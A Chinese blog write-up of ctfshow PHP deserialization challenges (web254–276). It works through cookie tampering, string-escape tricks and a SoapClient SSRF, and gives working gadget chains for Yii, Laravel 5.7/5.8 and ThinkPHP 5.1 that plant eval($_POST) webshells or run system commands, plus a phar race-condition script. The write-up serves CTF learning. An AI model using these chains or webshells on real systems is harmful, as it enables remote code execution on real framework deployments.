ctfshow-反序列化

反序列化中常见的魔术方法

__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

web254

直接构造

?username=xxxxxx&password=xxxxxx

web255

这关开始使用cookie进行反序列化

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$aa = serialize(new ctfShowUser());
echo urlencode($aa);

将题目类中的$isVip=false改为true即可,注意这里要进行url编码

运行后得到

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

添加到cookie,然后GET传参

?username=xxxxxx&password=xxxxxx

得到flag

web256

与上一题的区别在于

<?php
error_reporting(0);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxx';
    public $isVip=true;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}
$aa=serialize(new ctfShowUser());
echo urlencode($aa);

运行后得到

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A5%3A%22xxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

添加cookie并GET传参

?username=xxxxxx&password=xxxxx

web257

这里反序列化后执行login函数,我们找到login函数在class ctfShowUser 中

所以我们需要定义一个 ctfShowUser 的对象

发现ctfShowUser对象生成时会创建一个info的对象,结束时会调用info的getInfo

同时发现backDoor类中也有getInfo,所以这里的backDoor就是关键

构造:

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code='eval($_POST[a]);';
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}
$aa=serialize(new ctfShowUser());
print_r(urlencode($aa));

运行后得到

O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A16%3A%22eval%28%24_POST%5Ba%5D%29%3B%22%3B%7D%7D

添加到cookie即可

然后GET传参

?username=1&password=2

POST传参

a=system('ls');
a=system('tac flag.php');

得到flag

web258

相当与过滤 o:数字

将其中的o:数字改为o:+数字即可(可以通过 + 绕过)

<?php
error_reporting(0);
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code='eval($_POST[a]);';
    public function getInfo(){
        eval($this->code);
    }
}
if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}
$aa=serialize(new ctfShowUser());
echo $aa;
$bb = str_replace(':11',':+11',$aa);//ctfShowUser
$cc = str_replace(':8',':+8',$bb);//backDoor
print_r(urlencode($cc));

运行后得到

{s:4:"code";s:16:"eval($_POST[a]);";}}O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A%2B8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A%2B8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A16%3A%22eval%28%24_POST%5Ba%5D%29%3B%22%3B%7D%7D

之后的操作与上一题一致。

web259

一般反序列化的题目,那个php页面没用任何已有的类,那大概率就是考察PHP原生类的反序列化。

这个题利用的是php原生类SoapClient

该类的构造函数如下:

public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

flag.php源码

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}

当然这是个不完整的源码,应该还有一条判断真实ip的也就是

if($_SERVER['REMOTE_ADDR']==='127.0.0.1'){
xxxxxx;
}

所以首先得利用ssrf访问flag.php接着构造post数据 toke=ctfshow和请求头X-Forwarded-For 就能把flag写到flag.txt中了。

那么ssrf漏洞在哪呢,这就得用到我们前面提到的SoapClient类了。这个类中有个__call魔术方法(当调用不存在的方法时触发),会调用SoapClient类的构造方法。

另外用到的一个文章识点就是CRLF,具体的可以先看下大佬写的文章

payload:

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>

直接get传vip=xxx就可以了,最后访问/flag.txt应该就能拿到flag了。

web260

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

这里将GET传参的结果进行序列化

对字符串进行序列化后是它本身

得到flag

web261

魔术方法:__invoke() 当尝试将对象调用为函数时触发

但是这里没有相关的函数,所以这个相当于没用

魔术方法:__wakeup() 执行unserialize()时,先会调用这个函数

在PHP7.4以上版本,如果出现反序列化的魔术方法,就会绕过__wakeup

这里判断code是否等于0x36d,对应877

而且这里是弱类型比较

file_put_contents()函数:函数把一个字符串写入文件中,这里就是把password写入username中

所以需要这里的username为一个文件

<?php
class ctfshowvip{
    public $username;
    public $password;

    public function __construct($u,$p){
        $this->username=$u='877.php';
        $this->password=$p='<?php @eval($_POST[1]);?>';
    }
}
echo urlencode(serialize(new ctfshowvip('877.php','<?php @eval($_POST[1]);?>')));

运行后得到

O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D

得到flag(cat后面要有空格)

web262

页面没有关于flag的信息,只有一个setcookie

发现

进行访问

这里我们需要污染token,让他变为admin,才能得到flag

其中str_replace将fuck替换成loveU,这里就可以使用逃逸

<?php
 
 
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
 
$msg = new message('fuck','b','c');
echo serialize($msg);
 
//O:7:"message":4:{s:4:"from";s:4:"fuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
 
$msg_str = str_replace('fuck', 'loveU', serialize($msg));
echo $msg_str;
//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
 
$msg2 = new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
$msg3 = serialize($msg2);
$msg3_str = str_replace('fuck', 'loveU', $msg3);
echo $msg3_str;
echo "<br>";
//{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
 
echo base64_encode($msg3_str);

将最后输入的加入到cookie的msg中,刷新网页即可

还有一种非预期解:

 <?php
 
class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';
    function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
 
echo base64_encode(serialize(new message('a','b','c')));

写入cookie即可

web263

这关不一样了,直接是一个登录

访问www.zip获取源码

发现check.php中包含了inc.php

在inc.php中发现

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

发现在魔术方法__destruct中会把password写入log-username文件中,而这里的username和password可控,在index.php中会检查是否设置了session,并且

<?php
 
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
}
 
$a = new User('1.php','<?php eval($_POST[1]);phpinfo();?>');
 
echo base64_encode('|'.serialize($a));

运行后得到

fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PiI7czo2OiJzdGF0dXMiO047fQ==

写入登录界面的cookie中

再次访问该页面,然后访问check.php

然后访问log-1.php

post传参:

 1=system('ls');
 1=system('tac flag.php');

得到flag

web264

这关同样发现有message.php

当session中的msg经过base64解码和反序列化后,如果其中的token为admin,输出flag

在第一页发现GET传入的fmt会创建一个对象,将其中的fuck字段替换为loveU,这里替换后的字符串的长度变大,所以存在字符串逃逸漏洞

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
 
$msg = new message('a','b','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
echo serialize($msg);
echo "<br>";
$msg_1 = str_replace('fuck', 'loveU', serialize($msg));
echo $msg_1;
 
 
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:4:"fuck";s:5:"token";s:5:"admin";}
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:4:"loveU";s:5:"token";s:5:"admin";}
 
 
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}
 

传参:

?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

访问massage.php即可(记得设置cookie,任意设置)

web265

当token和password相等时,输出flag

这里的token被随机了,为了使password和他相等,只需要把$password=&$token即可(引用)

<?php
 
class ctfshowAdmin{
    public $token;
    public $password;
 
    public function __construct($t,$p){
        $this->token=$t;
        $this->password = &$this->token;
    }
    public function login(){
        return $this->token===$this->password;
    }
}
 
$admin = new ctfshowAdmin('123','123');
echo serialize($admin);

GET传参即可

web266

file_get_contents('php://input')

可以访问请求的原始数据流,可以获取到GET和POST的数据

发现执行魔术方法__destruct时会输出flag

<?php
 
class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
}
 
echo serialize(new ctfshow('a','b'));
//O:7:"ctfshow":2:{s:8:"username";s:1:"a";s:8:"password";s:1:"b";}
//O:7:"ctfshow":2:{ctfshow}

抓包,写入即可

web267

查看源码发现是yii框架

使用admin/admin登录

在About页面的源码中发现

about界面源码中多了一个注释<!--?view-source -->

get传数据/index.php?r=site%2Fabout&view-source

yii利用链

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}
 
namespace Faker{
    use yii\rest\CreateAction;
 
    class Generator{
        protected $formatters;
 
        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}
 
namespace yii\db{
    use Faker\Generator;
 
    class BatchQueryResult{
        private $_dataReader;
 
        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

利用dnslog,命令执行(http://dnslog.cn/)

Get SubDomain

再次给code传参

对 L3Zhci93d3cvaHRtbC9iYXNpYy93ZWIK base64解码得到

/var/www/html/basic/web

之后

    class CreateAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'shell_exec';
            $this->id = "echo '<?php eval(\$_POST[1]);phpinfo();?>' > /var/www/html/basic/web/1.php";
        }
    }

给code传参

然后访问1.php

POST传参

1=system('ls /');
1=system('tac /flag');

得到flag

web268

这题和上一题很相似

这题应该是把上一题的链子过滤了,这里还有一个链子

<?php
 
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('shell_exec', 'echo "<?php eval(\$_POST[1]);phpinfo();?>" >/var/www/html/basic/web/1.php');
    echo(base64_encode(serialize($exp)));
}
?>

方法和上题一样

1=system('ls /');
1=system('tac /flags');

web269

继续使用上一题的链子

web270

还是268的链子

web271

这道题是Laravel5.7框架

参考博客:laravel5.7 反序列化漏洞复现_bfengj的博客-CSDN博客_laravel反序列化漏洞

<?php
namespace Illuminate\Foundation\Testing{
 
    use Illuminate\Auth\GenericUser;
    use Illuminate\Foundation\Application;
 
    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public $test;
        protected $app;
        public function __construct(){
            $this->command="system";
            $this->parameters[]="cat /flag";
            $this->test=new GenericUser();
            $this->app=new Application();
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $bindings = [];
        public function __construct(){
            $this->bindings=array(
                'Illuminate\Contracts\Console\Kernel'=>array(
                    'concrete'=>'Illuminate\Foundation\Application'
                )
            );
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser
    {
        protected $attributes;
        public function __construct(){
            $this->attributes['expectedOutput']=['hello','world'];
            $this->attributes['expectedQuestions']=['hello','world'];
        }
    }
}
namespace{
 
    use Illuminate\Foundation\Testing\PendingCommand;
 
    echo urlencode(serialize(new PendingCommand()));
}

POST传参即可得到flag

(如果失败的话使用bp发送到repeater后send,就可以看到flag)

web272

这道题是Laravel5.8框架

参考博客:laravel5.8 反序列化漏洞复现_bfengj的博客-CSDN博客_laravel漏洞利用

 <?php
namespace Illuminate\Broadcasting{
 
    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;
 
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct(){
            $this->events=new Dispatcher();
            $this->event=new QueuedCommand();
        }
    }
}
namespace Illuminate\Foundation\Console{
    class QueuedCommand
    {
        public $connection="cat /flag";
    }
}
namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver="system";
 
    }
}
namespace{
 
    use Illuminate\Broadcasting\PendingBroadcast;
 
    echo urlencode(serialize(new PendingBroadcast()));
}
 

web273

同上

web274

TP5.1的框架

先要找到一个反序列化的入口

查看源码,发现

链子:

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["lin"=>["calc.exe","calc"]];
        $this->data = ["lin"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',  
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
 
 
namespace think\process\pipes;
 
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];
 
    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;
 
use think\Model;
 
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

运行得到

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19

然后在后面加

&lin=ls /

GET传参

之后

&lin=tac /flag

得到flag

web275

filename可控,只要$this->evilfile=true;可以执行系统命令了

?fn=php;ls .
?fn=php;tac flag.php

web276

比上一题多了一个admin

这一题的考点就是phar

先生成一个phar包

<?php
class filter{
    public $filename;
    public $filecontent;
    public $evilfile=true;
    public $admin = true;
 
    public function __construct($f='',$fn=''){
        $this->filename='1;tac fla?.ph?';
        $this->filecontent='';
    }
}
 
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
 
$o = new filter();
$phar = setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
import requests
import time
import threading
 
success = False
#读取phar包内容
def getPhar(phar):
    with open(phar,'rb') as p:
        return p.read()
 
#写入phar内容
def writePhar(url,data):
    print('writing...')
    requests.post(url,data)
 
#触发unlick的phar反序列化
def unlinkPhar(data,url):
    global success
    print('unlinking...')
    res = requests.post(url,data)
    if 'ctfshow' in res.text and success is False:
        print(res.text)
        success = True
 
def main():
    global success
    url = ''
    phar = getPhar('phar.phar')
    while success is False:
        time.sleep(1)
        w = threading.Thread(target=writePhar,args=(url+'?fn=p.phar',phar))
        u = threading.Thread(target=unlinkPhar,args=(url+'?fn=phar://p.phar/test',''))
        w.start()
        u.start()
 
if __name__ == '__main__':
    main()
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值